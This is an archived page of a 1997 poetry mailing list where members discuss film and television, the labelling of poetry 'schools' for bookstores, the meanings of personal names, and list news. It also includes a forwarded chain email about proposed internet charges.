While we're discussing doubles (c. alexander and c. alexander), how many people have discovered that they live in the same SMALL town as a fellow list member? I discovered that Wendy Battin and I both live in the same real world. (Hello, Wendy! I even went to Conn. Coll. for a while in the early 70s before

being put on academic probation.) Which brings me full circle. Maybe I'm not in poetic Siberia after all.

Steven Marks

Samples of reviews, criticism and poetry at

http://members.aol.com/swmarks/welcome.html

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244. **amato**
Re: tv vs. film...
Fri 7 Feb 1997

---

patrick, i agree that such tv shows may be burdened by "self-importance"... but, again, i think the same could be said of many, many films these days... i'd argue that characterization on nypd blue is as complete, as subtle, as many hollywood releases... now whether one goes for same is probably a somewhat different matter...

as to commercials: was a time i watched mtv just for the commercials!... but i haven't yet developed the cognitive skills to enjoy commercial interrupt at the rate, say, that i see on tnt... esp. not as the night wears on...

best,

joe

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245. **Mark Weiss**
Re: Film thread
Fri 7 Feb 1997

John Sayles is certainly a goody-goody, but Matewan as agitprop? What would you have liked, a sympathetic view of the motivations of people who hire thugs to kill the defenseless? That was the American mining industry in the good old days of laissez-faire. Despite the sins that have been committed in its name, there was a reason for American radicalism to be born. It wasn't just a commie plot.
Or maybe it's the notion that, at least at moments, disparate groups of people have been able to see their situation as similar enough that they could think to act together? It has been known to happen, although the benefits have often been stolen from them.
At 04:12 AM 2/7/97 -0800, you wrote:

>John Sayles has made several movies that are as one-dimensional as any
>piece of agitprop (viz. Matewan), but Lone Star isn't one of those.
>Rather, like Brother from Another Planet, it struck me as quite
>transcendant of such values (they're there but sort of implicit
>throughout and not really what the film hangs on). Lots of great
>cameos, like Tony Ameandola's (sp?) Mexican used car dealer. If this is
>equivalent to what's on TV, they must have better TV there than we get
>in Philly.
>
>Hey, but then I liked the English Patient (it's an interesting
>transformation from the book in that each treats a different level as
>the frame story and a different level as "the focus"), but I admit to
>being a sucker for its self-indulgences (both film and book, for that
>matter). It'd make a great double bill with The Sheltering Sky (a truly
>great film and book) and a triple bill (does any theater do that
>anymore?) with Antonioni's The Passage.
>
>A truly bad film (violence as porn) might be The Missouri Breaks (was
>that Pekinpaugh or Penn?) which treats the acts of killing in exactly
>the same episodic method that a cheap porn flick would getting from one
>sex scene to the next, each more violent than the one before.
>
>Last film I walked on was El Topo. Last video I turned off halfway
>through was Bridges of Madison County (Meryl Streep in her same old
>swedish accent posing as Italian immigrant: "Ja, Ve are Italian"). My
>Cousin Vinny was the one before that. (A good rule: avoid anything that
>might end up being shown uncut on a transcontinental flight.)
>
>Ron Silliman
>
>

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246. Mark Prejsnar
More on labelling theory
Fri 7 Feb 1997

Actually, I had a second question in response to your posting, Michael, and forgot to include it: you mention "experimental" as a possible catagory, separate from LangPo---just who/what would you put into that?

There was a really interesting thread about the use of words like "experimental" here, before my time but accessible in the archive. I've been party to several

such exchanges, over the years, and still don't know how to handle the whole issue of describing, well, interesting poetry, except as: what I find interesting (or exciting); anything else tends to make you a party to the trivialization of your own taste and your own writing.. (As I said at first, I can understand Pub. Weekly doing labelling, as its reason for being is explicitly related to marketing; tho that doesn't keep me from being uneasy even so--But your posting got me thinking about how the rest of us relate to labels, as poets and writers and readers, and publishers and editors...)

One of the best illustrations of how intractable this problem is (and one of the things that first got me thinking about it several years ago): many of the high-profile poets I admire (Bernstein, Silliman, Perelman, an others) would refer, in some essay or public exchange, to innovative or experimental or avant-garde poetry; and it would startle me, because it always seemed to me that such labels were strongly weighted toward allowing mainstream types to dismiss interesting writing. (As opposed to the phrase Language Writing itself, in its various permutations, which became part of a conscious effort to get certain work recognition in a stiffling institutional context, and that strategy of course worked.) But once I thought about it, I saw how hard it was to talk about things at all, without one of these labels as a handle...I myself am made most uncomfortable by the "a" word (avant-garde), which is especially loaded with baggage that's guaranteed to put people off and pinpoint a poet's work as special, beyond the pale, not to be taken seriously, under a sort of glass dome...

Mark P.
Atlanta

↑ Index

247. Mark Weiss
Re: poetry "schools"
Fri 7 Feb 1997

Gee, I bet I'm one of several hundred poets on this list whio don't fit into any of those categories. How about "don't like to join clubs" as an interest-oriented group? There's an appropriative subtext here. The world is divided into the smarmy-conservative, the retro-precious, politico/ethno/gender/erotico-based, and I guess everyone else is langpo? At the very least that dulls the blade.

At 10:18 AM 2/7/97 -0600, you wrote:
>it may be useful in this regard to consider jed rasula's account of current
>poetic practice in _the american poetry wax museum_... rasula identifies
>"four zones" of the contemporary american "poetry world": the associated
>writing programs; the new formalism; language poetry; and "various
>coalitions of interest-oriented or community-based poets" (440)... now i'm

>not suggesting that one should adhere precisely to these "zones" in laying
>out publishing or distributing criteria, only that such zones may be a
>start in thinking about what poetry communities are 'out there'...
>
>best,
>
>joe
>
>

↑ Index

248. **David Israel**
The Lack -Reply
Fri 7 Feb 1997

Rod --

cool. Will plan to pick up a copy at Bridge Street (or perhaps an upcoming local reading?)

cheers,

d.i.

>>> <[redacted]> 02/07/97 12:10pm >>>
now available, _Abacus #104_:

_The Lack

(love poems, targets, flags. . .)_

by Rod Smith

orders to:
Potes & Poets
181 Edgemont Ave
Elmwood CT 06110

It's $4.

Subscriptions to Abacus are $26.

↑ Index

249. **Gwyn McVay**
Paging Peter Gizzi
Fri 7 Feb 1997

I need some direct-means-of contact info for Peter Gizzi... can he or a friend backchannel me with his phone number, or even better, street address? All guaranteed legit. Girl Scout's honor.

Gwyn

↑ Index

250. **Michael Coffey**
Re: poetry "schools" -Reply
Fri 7 Feb 1997

---

joe amato, you wrote

"t may be useful in this regard to consider jed rasula's account of current poetic practice in _the american poetry wax museum_... rasula identifies "four zones" of the contemporary american "poetry world": the associated writing programs; the new formalism; language poetry; and "various coalitions of interest-oriented or community-based poets"

who published that?

↑ Index

251. **Christopher Alexander**
Re: Names are not Objects
Fri 7 Feb 1997

> what's in a name?
convenience. [or inconvenience].

my parents apparently thought
my first name--christopher--unusual,
based on queries to friends & acquaintances.
["do you know any--?" "no, no"]. but
there were no less than 5 "chris"s in my
preschool class. so much for the
reliability of statistical/survey data.

considered changing my name, but then thought why bother. the new name would still have the same (in-/convenient) limiting effect. up to now I've assumed, Miekal, that was the impetus behind the amount of play you seem to do with your own names. but then again maybe not.

I have occasionally received mail & telephone solicitation for alex sander--dont ask me where that one came from.

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

"Philosophy is intellectual order, which neither religion nor common sense can be. It is to be observed that religion & common sense do not coincide either, but that religion is an element of fragmented common sense. Moreover common sense is a collective noun, like religion: there is not just one common sense, for that too is a product of history & a part of the historical process. Philosophy is criticism & the superseding of religion & 'common sense'. In this sense it coincides with 'good' as opposed to 'common' sense."

Gramsci

↑ Index

252. Michael Coffey
"*schools*" *and doubles -Reply*
Fri 7 Feb 1997

---

steve markswrote:

"Having wandered in what felt like poetic Siberia (and a partly self-imposed one), I don't mind being associated with a "school." I know the designations aren't accurate, but then we could say that all words are labels and slippery, and so remain mute. While we're discussing doubles (c. alexander and c. alexander), how many people have discovered that they live in the same SMALL town as a fellow list member? I etc."

i'm glad someone wove together today's two threads, about poetry schools and personal names. they seem to intone some of the same themes, or the same theme, that people zealously guard their uniqueness, and the notion of being part of a school or, as maria damon offered, having another person of the same name at a writing program at brown, is , in maria's words, unnerving. someone suggested asking the poets themselves what school they would identitify with; someone asked me to do the same. so let me take that on, not than anyone out there knows what i've done or been doing but that won't matter much:

i identitify, and have for some time, with lots of work, stevens first, zukofsiy second, stein third, then, thunderingly, mac low: after that, lots of the language folks, but further on, for reasons related to god knows what, my life, a few of the irish poets, muldoon and a few others, writing about place. but looking at my work, OBJECTIVELY, i icould not argue with someone who said it looked

like language poetry, though i would not argue if someone said it was derivative of same, or just a mimicking of same, but in any case wouldn't care much, because I never wrote to an audience that had another poet in it. In the context in which this issue came up, i was and am only eager to have a bookseller know a good way to talk about someone's work and know how to associate it with someone else's work with which a prospective buyer might be familiar.

as for my name, i was adopted, so name is chance (as it always is in some sense) so when i see other michael coffeys crop up on the trw reports denying me credit even though those others have condos somewhere they are or are not paying off, it doesn't unnerve me. I don't really feel unique, though i like to pretend i am, particularly to my son. i don't want him holding someone else's hand.

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253. Steve Evans
Matewan Defense
Fri 7 Feb 1997

Thanks to Mark Weiss for defending Sayles's _Matewan_, and on just the right grounds. Maybe the List's ambient negative feelings towards the one IWW (Iowa Writers Workshop) have inadvertently spilled over onto the more noble organization that also bears that acronym.

But how can I be trusted, I even liked the film-essay (done on a visibly diminished budget relative to the lushness of realist composition in _Matewan_) that Sayles made in 1991, _City of Hope_.

Steve Evans

Mark Wrote:
>>John Sayles is certainly a goody-goody, but Matewan as agitprop? What would
you have liked, a sympathetic view of the motivations of people who hire thugs to kill the defenseless? That was the American mining industry in the good old days of laissez-faire. Despite the sins that have been committed in its name, there was a reason for American radicalism to be born. It wasn't just a commie plot.
Or maybe it's the notion that, at least at moments, disparate groups of people have been able to see their situation as similar enough that they could think to act together? It has been known to happen, although the benefits have often been stolen from them.

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254. **Mark Weiss**
Re: More on labelling theory
Fri 7 Feb 1997

This is an interesting problem--we want to direct readers to the work, and we want the work noticed, but we don't want to be misrepresented. I suggest that the categories have to be broad to the point of stupidity--their only purpose is the least subtle form of marketing. Try this out--if a music store descided that "jazz" was too broad and imprecise a category it would probably wind up with more argumentative sub-categories than the store would have space to show. As it is, if I go to my local jazz section I know I won't find Rachmaninoff, but I may find what I'm looking for alphabetically, and someone who shares the same initial may seem worth a try as well. Broadness/dumbness of category is also at least not likely to become canonical (or cannonical) definition. I could live with "experimental" or "new" or "non-mainstream" because it doesn't try to shoehorn me too narrowly into uncomfortable limitations.

Last night I backchannelled Michael Coffey as follows. You'll note my general disapproving tone (it may be necessary, but I don't have to like it). And I also suggest a few obvious problems that could present some comic possibilities. Do Brathwaite and Walcott lie down together? For these purposes, does it matter?

If you must do this, keep it simple. Remember that now as in the past what looked like differences of substance were often differences of social circle. So, O'Hara and Olson attract overlapping audiences who don't read Jorie Graham, although the two guys didn't drink together. Maybe Formalist, Mainstream, New (or Experimental), and Special Interest (defined by gender, sexual orientation, race and ethnicity). Keep in mind that this is a slippery slope--in that last category or perfectly conventional lesbian/hispanic/black poets who would have nothing to do with their more experimental brethren and sistren, regardless of shared ancestry or proclivities. And there are those whose work falls into more than one camp. But if you parse this further you risk disintegration.

At 12:53 PM 2/7/97 -0500, you wrote:
>Actually, I had a second question in response to your posting, Michael,
>and forgot to include it: you mention "experimental" as a possible
>catagory, separate from LangPo---just who/what would you put into that?
>
>There was a really interesting thread about the use of words like
>"experimental" here, before my time but accessible in the archive. I've
>been party to several such exchanges, over the years, and still don't know
>how to handle the whole issue of describing, well, interesting poetry,
>except as: what I find interesting (or exciting); anything else tends to
>make you a party to the trivialization of your own taste and your own

>writing.. (As I said at first, I can understand Pub. Weekly doing
>labelling, as its reason for being is explicitly related to marketing;
>tho that doesn't keep me from being uneasy even so--But your posting got
>me thinking about how the rest of us relate to labels, as poets and
>writers and readers, and publishers and editors...)
>
>One of the best illustrations of how intractable this problem is (and one
>of the things that first got me thinking about it several years ago):
>many of the high-profile poets I admire (Bernstein, Silliman, Perelman, an
>others) would refer, in some essay or public exchange, to innovative or
>experimental or avant-garde poetry; and it would startle me, because it
>always seemed to me that such labels were strongly weighted toward
>allowing mainstream types to dismiss interesting writing. (As opposed
>to the phrase Language Writing itself, in its various permutations, which
>became part of a conscious effort to get certain work recognition in a
>stiffling institutional context, and that strategy of course worked.) But
>once I thought about it, I saw how hard it was to talk about things at
>all, without one of these labels as a handle...I myself am made most
>uncomfortable by the "a" word (avant-garde), which is especially loaded
>with baggage that's guaranteed to put people off and pinpoint a poet's
>work as special, beyond the pale, not to be taken seriously, under a sort
>of glass dome...
>
>Mark P.
>Atlanta
>
>

↑ Index

255. **amato**
Re: poetry "schools"
Fri 7 Feb 1997

---

mark, there may of course be problems with rasula's categories... but the claim for poetic autonomy (on the part of poets, i mean) seems to come with the territory, and is in many cases simply not so, when considering markets and such like... which latter realization has sobered me to the realities of my *own* poetry...

just a way to begin laying out the field, like i say... not so much on the basis of aesthetics though, perhaps more in terms of power centers (in which case zone four represents a sort of dispersion of power)... but liking it or no may well have to do with how institutionally oriented one wants to be...

best,

joe

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256. Christina Fairbank Chirot

Re: Names & Labels

Fri 7 Feb 1997

Despite a recent thread--no mention as yet of Visual Poetry and Sound Poetry--certainly a vast field of work all too often relegated beyond the back of the beyond . . . though world wide thousands of practitioners. Paul Metcalf often points out--as do his reviewers and interviewers--that his work does not fall into a category--and hence is difficult not only to "market"--but to gain attention for his work from critics hidebound by categories. (Paul frequently notes his work being found in travel sections.) He does note that he chose this path.
It's an interesting paradox: to want one's name to be unique--and at same time to be recognized as part of a group. In tagging and some aspects of visual and mail art--there may be a distinctive signature--yet by whom it is made--is often enough known to but a very few. "To walk in hiddeness . . . "
"Hide in plain sight" --dbchirot

↑ Index

257. George Bowering

Re: Names are not Objects

Fri 7 Feb 1997

I have been wondering about that "Miekal", too.

I presume that it is pronounced mee cal. Why didnt you change it to Meikal, so that at least it would still sound like "Michael"? You would still have solved the problem of the telephone book.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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258. Mark Weiss
Names
Fri 7 Feb 1997

Jews name their kids for dead people, but there's some lattitude because of translation. Hebrew or Yiddish names tend to be identical with that of the deceased, but there's some slide when it comes into English. So I was named for my cousin Maurice who died as a baby the year before I was born. It became Mark because that was the fad name during the 2nd world war and my parents had not yet lost their sanity and given me a furrin name in those conservative, assimilationist times. By 1948, however, they had gone over the edge: they announced that my brother-to-be was to be named Sandor after my Hungarian grandfather. I brought to bear all of my 4 years of Brooklyn street-smarts and convinced them that Steven would be more appropriate. The reasoning was something to the effect that he'd be teased and taunted unto insensibility. The hidden agenda was that I'd be getting a lot of black eyes defending the little bugger, whose arrival I wasn't completely resigned to in any case. So Steven it was. I rarely think about my name. It became an issue in childhood only because it was hard to make into a nickname, and at one point having a nickname was a big deal. My grandfather, however (the one who was alive), got around this by using my Hebrew name in an exaggeratedly Yiddish pronunciation, so that it came out Moishiyizzik--Moses Isaac to the uninitiated. It occurs to me now that as Jews we carry secret names, like some tribal peoples who have a "real" name that only the individual and the shaman know. To know the name, they think, is to control its bearer. Maybe for Jews our secret names are supposed to carry the spirit of the dead. In fact, I only know of Maurice because my aunt, who drank a bit, told me about him once when she was in her cups.

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259. George Bowering
Re: Names are not Objects
Fri 7 Feb 1997

Now that The-Artist-Formerly-Known-as-Prince is married, is her name Mrs. The-Artist-Formerly-Known-as-Prince? And what if (shudder!!!)they were to have kids?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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260. George Bowering
Re: Mitch Goodman
Fri 7 Feb 1997

. "...after meeting a young English
>poet, Denise Leverton, at a youth hostel in Geneva..." and later "But by
>the time Miss Leverton had collected signatures from hundreds of artist and
>writers for an antiwar advertisement...."
> Ron, maybe not all name changes are voluntary! It's just another
>reminder that someone we know and love as a household word more or less
>doesn't ring any bells in the power centers.
>
> Sylvester Pollet

I think the _Times_ was just trying to hint at their "on-again, ov-again" relationship.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

261. Matthias Regan
Re: Film thread CONAN THE BARBARIAN
Fri 7 Feb 1997

Ron Silliman writes:

It'd make a great double bill with The Sheltering Sky (a truly
>great film and book) and a triple bill (does any theater do that
>anymore?) with Antonioni's The Passage.

Is the last movie mentioned a slightly diffrent translation of the Antonioni I saw, "The Passanger", starring no less than Jack Nickelson? Whoever mentioned "above" in the list that the problem with "Lone Star" is the neatly sewn-up endings(I kind of agree)--"the Passanger" does not suffer from this! I don't

remember all that goes on in it but I remember being delighted by the ending--a "trick" similar to the ending of "Blow Up" but IMO much more powerful in an exestential grandlytragic sort of way. For "The Sheltering Sky" (film version), which I largely disliked, I would substitue "Blue Sky," which has a little desert in it.

> *A truly bad film (violence as porn) ...*

I have heard on the radio three times this morning an advertisement for a newly released film (by "Sony Classics" I believe) about none other than Robert Howard, "inventor of Conan" and "the greatest pulp writer of all time" (the ad says that latter quote twice in 20 seconds). I'm not usually one for nostalgia, but when I get it its like the flu and won't go away. All morning I have seen in my mind's eye not any particular scenes from those paperbacks (though the crucifixation of Conan was really good) but the photo on the inside back cover. Bob Howard, balding with a drinking belly, standing barefoot on gray grass, holding a knife (a dagger) and a gun. That image terrified and fascinated me much of my teenage years. I wanted to be a writer--but not like that--he looked so depressed!--and the caption underneath ends with his suicide--but a little like that.

What does the list think of Robert Howard?
Of pulp?

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

262. George Bowering

Re: tv vs. film...

Fri 7 Feb 1997

TV commercials never bother me. I get time to read something during those minutes.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

263. Eliza McGrand- CVA Guest
Re: tv vs. film...
Fri 7 Feb 1997

---

i didn't watch tv for years, literally did not have a tv for about 12 yrs. then a friend who watches ER and NYPD Blue got me to watch, and i am now totally hooked. oh, when i finally got a tv (to watch videos) i got hooked on Star Trek Next Generation and the PBS mystery series.

what i've liked about ER and NYPD Blue is their unresolved issues and questions, the ambiguities, lack of a clear "good" guy and "bad" guy. i've also liked the multi-dimensional takes on things.

now HERE is a whammy... i USED to think MASH was great. tender, complex, etc. then went to it the other night after ER. Blech! it WAS one of the newer MASH shows, but still... i'm scared to go back to Bob Newhart and Mary Tyler Moore (which got me through childhood in a small midwestern town). DID watch carol burnett a while ago, and it was still good...

it's like when you used to read Mad magazine as a kid, and then you go back and see it and suddenly, it isn't funny...

i wonder if i'll be that way about ER or NYPD Blue one day...

e ps odes to miekel, i'm about to go off and winter camp in the mountains. this isn't as adventurous as it sounds -- i'll be in a state park -- but still, just me and the tent and the sleeping bag and a whole lot of bears... e

↑ Index

264. Aldon L. Nielsen
Re: names of the dead
Fri 7 Feb 1997

We Danish-Afro-Baptist-LapsedCaucasian-Nebraska Urbanites name our children after the not yet born --

Maria -- Sorry to be the bearer of bad tidings -- Thought you already knew -- Bambara died last year -- There was an MLA session on her work chaired by Wahneema Lubiano -- and there has just appeared a collection of her previously uncollected works -- I was never a huge fan of her writing (though I LOVE still the title "Gorilla My Love") -- but Bambara herself was a wonderful person --

From the what's in a name desk -- Here at San Jose State the university book store has recently set up sections marked "African-American Interest," "Native-

American Interest" etc -- Naturally, they have filed the books of Toni Cade Bambara in the "Latin American Interests" section --

Around the same time I received word that my old college mate Essex Hemphill, who published one of my first sorry poems in his journal _Nethula_, had died of AIDS -- Not long afterward I was told by a "scholar" in Los Angeles that the British author Essex Hemphill had passed away -- When I told him Essex was from DC, he said that he must have made the mistake because he'd seen Essex in a film by Isaac Julien -- but of course the film he had in mind was made by Marlon Riggs -- Hard to keep those Anglo-Afro-American-Gay-Writer-Filmpeople straight, eh?

↑ Index

265. Matthias Regan
Re: Names are not Objects
Fri 7 Feb 1997

If the local "Star Gazer" section of the Chicago Trib. serves me right, the unnamed and un-namable Prince and whosoevershemaybe did have a child not long ago; it was born with a cloven skull and died soon thereafter. I believe he's doing a charity tour these very days to benefit The Fight Against Birth Defects.

Matthias

> *prince is/was his first name. maybe, this being 1997, she chose to keep her own name?*
>
> *Now that The-Artist-Formerly-Known-as-Prince is married, is her name Mrs. The-Artist-Formerly-Known-as-Prince? And what if (shudder!!!)they were to have kids?*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
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>
> *fax:* [redacted]
> *e-mail:* [redacted]

Matthias Regan
Northwestern University

Department of Chemistry
Phone: 847/[redacted]

↑ Index

266. groberts
Go ahead, make my name
Fri 7 Feb 1997

Isn't there something about proper names and secret names in Of Grammatology? I think the big D was unravelling something Levi-Strauss was doing with tribal names in Tristes Tropiques...the circulation of names and the presence of the anthropologist...the Other setting in motion the dispersal of names...authority and policing and all that.

Of course the final authority on the business of names is Lewis Carroll aka Humpty Dumpty, alias... what is he called? No, what's his name? I mean, who's on first?

I dream of an anthology with no names...found as yet only in the Library of Babel...

Gary R who has succumbed to the recent habit of attaching real words to the fake ones that stand for him

↑ Index

267. Joseph Lease
Re: poetry "schools"
Fri 7 Feb 1997

Sure: though it seems to me that the (falsely named) new formalism is do dead and tiny that it hardly qualifies as a zone: and having myself graduated from the Brown University MFA program in poetry it seems to me that the distinction between writing programs (aren't I sending this to Buffalo) and language poetry is fast becoming hard to assume: in other words, Brown is a writing program profoundly engaged with language poetry: other programs are as well and more and more are, it seems, likely to. I mention this not to dispute anything Joe says below only to suggest that if we are interested in using zones as a descriptive term rather than schools we better think of them as very liquid.

On Fri, 7 Feb 1997 [redacted] wrote:

> *it may be useful in this regard to consider jed rasula's account of current poetic practice in _the american poetry wax museum_... rasula identifies "four zones" of the contemporary american "poetry world": the associated writing programs; the new formalism; language poetry; and "various coalitions of interest-oriented or community-based poets" (440)... now i'm*

> *not suggesting that one should adhere precisely to these "zones" in laying out publishing or distributing criteria, only that such zones may be a start in thinking about what poetry communities are 'out there'...*
>
> *best,*
>
> *joe*

↑ Index

268. **Mark Weiss**
Re: Film thread CONAN THE BARBARIAN
Fri 7 Feb 1997

People who are in substantial agreement about the other arts often disagree violently about films. The Sheltering Sky, for instance, is right near the top of my list for all-time worst (I usually like to look at Debra Winger, but in this case I found myself groaning, "Debbie, put your clothes on," so even that minor satisfaction did nothing for me), and I could have ju justified that opinion in great detail before memory decay set in. But I'm aware that Ron or another of its admirers could probably be just as detailedly convincing on the other side. Why this peculiar phenomenon? My guess--it's only that--is that the suggestive associative nature of film is in some way like the way we record strong visual and motion memories (dreams tend to have a filmic structure, full of bold cross-cutting and changes of local), and a particular image or gesture may resonate so powerfully for me that I surrender to an otherwise horrendous or manipulative film. So if we all dreamed the same we'd all hate the sheltering sky. QED.

At 02:50 PM 2/7/97 -0600, you wrote:
>Ron Silliman writes:
>
>It'd make a great double bill with The Sheltering Sky (a truly
>>great film and book) and a triple bill (does any theater do that
>>anymore?) with Antonioni's The Passage.
>
> Is the last movie mentioned a slightly diffrent translation of the
>Antonioni I saw, "The Passanger", starring no less than Jack Nickelson?
> Whoever mentioned "above" in the list that the problem with "Lone Star"
>is the neatly sewn-up endings(I kind of agree)--"the Passanger" does not
>suffer from this! I don't remember all that goes on in it but I remember
>being delighted by the ending--a "trick" similar to the ending of "Blow Up"
>but IMO much more powerful in an exestential grandlytragic sort of way.
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> I have heard on the radio three times this morning an advertisement for
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>depressed!--and the caption underneath ends with his suicide--but a little
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>
> What does the list think of Robert Howard?
> Of pulp?
>
> Matthias
>
>Matthias Regan
>Northwestern University
>Department of Chemistry
>Phone: 847/[redacted]
>
>

↑ Index

269. Chris Stroffolino

Re: POETICS Digest - 5 Feb 1997 to 6 Feb 1997

Fri 7 Feb 1997

Dear David Bromige: WHAT academic doors have I darkened?
Do you know something (about this) I don't? They (the doors) may be locked
for the time being, and I am trying to cast myself into a role different than
the one who is begging to be let in (and hence the off-again on-again romance
with a posture of indifference), but is this a darkening?
(answer: yes, virginia, there is a santa claus)....
well, i currently teaching COMPOSITION again

(and asked my students to write:
"If the LAND (that has been raped and pillaged) could speak, what would it say?"----
but ENGLISH as a "field" is really bizarre.....
The "coalition" it makes between "composition" and "literature" should perhaps be BROKEN down.....
being that poetry, etc. for me has less in common with
comp. than with other non-ENGLISH things
(it isn't academia per se that's the problem, but "package deals") and teaching literature is more like teaching
"decomposition" (which I long for.....even if it still pays adjunct). darkly,
chris

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270. manny savopoulos
Fw: Internet Taxation
Fri 7 Feb 1997

---

in some instances this might not be appropriate, but one must do what one can.

> From: Jackson Mac <[redacted]>
> To: [redacted]
> Subject: Internet Taxation
> Date: Friday, February 07, 1997 4:17 PM
>
> >Return-Path: [redacted]
> >From: [redacted]
> >Date: Fri, 7 Feb 1997 01:55:09 -0500 (EST)
> >To: [redacted], [redacted], [redacted],
> > [redacted], [redacted], [redacted],
> > [redacted], [redacted],
[redacted]
> >Subject: Internet Taxation
> >
> >Hi,
> >
> >I received the following mail and thought that it would be of interest
to
> >everyone if you hadn't alredy heard.
> >
> >Keep in mind that the deadline is Feb. 13th.
> >

> >-Peter
> >
> >> Hi from Tim (Badge) on IRC Cops I am writing you this to inform you of a
> >> very important matter currently under review by the FCC. Your local
> >> telephone company has filed a proposal with the FCC to impose per minute
> >> charges for your internet service. They contend that your usage has or
> >will
> >> hinder the operation of the telephone network. It is my belief that
> >> internet usage will diminish if users were required to pay additional per
> >> minute charges. The FCC has created an email box for your comments,
> >> responses must be received by February 13, 1997. Send your comments to
> >> [redacted] and tell them what you think. Every phone company is in on
> >> this one, and they are trying to sneak it in just under the wire for
> >> litiagation. Let everyone you know here this one. Get the e-mail address
> >to
> >> everyone you can think of.
> >>
> >> [redacted]
> >>
> >> Please forward this email to all your friends on the internet so all our
> >> voices may be heard!
> >>
> >> Jim Cashatt
> >
> >
>
>
> Jackson Mac Low
>
> [redacted]
> Tel/Fax [redacted]
>
>

↑ Index

271. robert drake
Prevallet address?
Fri 7 Feb 1997

anyone know how to reach Kristen Prevallet? i'm trying
to clear up the story about her work in Brenda Knight's
Women of the Beat Generation. the editor at conai
press was most unhelpful.

lbd

↑ Index

272. Mark Weiss
On the confusion of names
Fri 7 Feb 1997

I can't vouch for the truth of what follows, but I did read it somewhere once upon a time. It seems that until the mid-nineteenth century there were no family names in Norway--everyone was Lief Ericsson or Eric Liefsson or Jon Jonson (sorry about the spelling). The Norwegian powers that be declared that everyone had to choose a last name--and everyone did (I think it was male heads of households who decided)--they chose the names they already went by. So there were an awful lot of Jonsons and Ericssons and Olsons. Sort of like the mythical country in WC Fields' Million Diollar Legs, where all the men are named George and all the women are named Angela. Some years ago I received an offer of a copy of the Weiss family history. The publisher claimed that Weiss was a rare and aristocratic name. There are four pages of Weiss's in the Manhattan phonebook. And as for aristocrats, the pub must have known that most US Weiss's are eastern european Jews (my understanding is that Weiss is a mostly Christian name in Germany and mostly Jewish in Austria and its former dependencies). She offered to send a copy of our heraldic shield along with the book. My guess is that there are Jewish families with copies of this document hanging over the fireplace, unaware that it was lifted from some minor Junker noble whose family motto, if translated from Latin or Gothic, probably means: Who'd you call Jewish?

↑ Index

273. Forrest Gander
Re: poetry "schools"
Fri 7 Feb 1997

What about them radical mavericks? A lot of the writers I like most--Mei-mei Berssenbrugge, Arthur Sze, Phillip Foss, James Thomas Stevens,

Michael Palmer, C. D. Wright, William Bronk, Cole Swensen, Fanny Howe, Kamau Brathwaite, Nate Mackey, John Taggart, Gustaf Sobin, Peter Cole-- fall outside of "schools." Is Ann Lauterbach's new work LANGUAGE poetry or New York School? Barbara Guest was a New York School poet, but what is she now? The notion of schools seems to me clubby and limiting. At the same time, of course, I too want to see more representation in bookstores. Representation comes through distribution. I think what is most needed is an effective distribution network, something the NEA and the CCLM, if lobbied, might initiate together. Even the notion of supporting publishing houses seems less constrictive than that of supporting "schools." New Directions, Stone Bridge, Firebrand, Lost Roads, Burning Deck, Talisman House publish a range of writers and aesthetics. Presses like Sun and Moon or Kelsey Street, associated with schools of writing, also publish important books that fit into no predefined niche. It's the ones without handles would be lost in your scheme.

↑ Index

274. Tom Beard

Re: Names are not Objects

Fri 7 Feb 1997

I haven't come across any other Tom Beard's - the name doesn't seem to be particularly common. I'm adopted, too, so I'm not sure what I might have been called - although my birth father was Dutch, so it would probably have been even more uncommon.

I have noticed that my name kept me for some time from experimenting with facial hair. My father had a beard for a while, and the jokes were truly attrocious. Having had a goatee for about a year now (and I hate the whole grunge/Gen X thing - I was inspired more by the 2nd series of Black Adder), whenever anyone has difficulty spelling my name, I point at my chin and say "mnemonic device".

One would think that my name would be easy enough to spell, but people often write it down as "Baird". This is a more common name, but the main reason seems to be that some NZers pronounce "air" as "ear".

No, I haven't seriously thought about changing my name, although I always use "TRB" for my initials (the reason for which will be left as an exercise for the reader).

↑ Index

275. **Tom Beard**

Re: Provoking the stretch

Fri 7 Feb 1997

> *as for the category "language" poetry, Ive never been comfortable with a notion that someone who questions the many contexts of the language of our time as being that separate from the spirit of poetry in general, even most mainstream poets have been known to burst out in florescences of "language"...is pound a language poet, is lewis carroll a language poet, why do these distinctions have to exist to perpetrate a critical nomenclature of pigeon holes & dusty compartments?*

I agree whole-heartedly with miekal here. I also find the term "linguistically innovative" rather insulting to any poet who doesn't identify with that movement - to me, any good (loaded word) lyric poem is linguistically innovative. Is Bill Manhire "linguistically innovative"? How about Edwin Morgan, Phyllis Webb or Geoffrey Hill? To me, they all use language in ways that are often surprising, dislocating and/or playful, but I doubt that they'd align themselves with langpo.

I guess I prefer Jackson Mac Low's term, "perceiver centred" (or "reader centred" for written arts) - an acknowledgement of the fact that meaning is created in the act of perception/reading - works that provide the perceiver/reader with fertile ground for meaning creation. Of course, one could take this to mean that there are no reader-centred writers, only reader-centred readers - it doesn't matter whether the author has read Derrida or Olson; one could read Baxter in the same way that one might read a language poet. How much fun that might be is a different question.

That phrase "fertile ground" is crucial, of course. What makes one slab of language any more "fertile" than another? That of course depends upon the reader, and so one has to make assumptions (with the inevitable ideological and cultural bias that they entail) about the reader(s). I'm quite happy to do that (although I like to think that I question my assumptions in the process) if it is going to result in a more "fertile" piece of writing.

That may be why I'm still attracted to lyric poetry, albeit a lyric poetry that's more influenced by Oppen, Creeley, Wedde, Hawken and Neidecker (?sp) than by Keats or whoever. For me, the "lyre" that the words play to accompany their meanings, the dance of signifier and signified, the hesitations of line breaks and the webs of connotations all provide fertile ground for linguistic innovation.

Tom Beard.

↑ Index

276. maria damon
Re: possession
Fri 7 Feb 1997

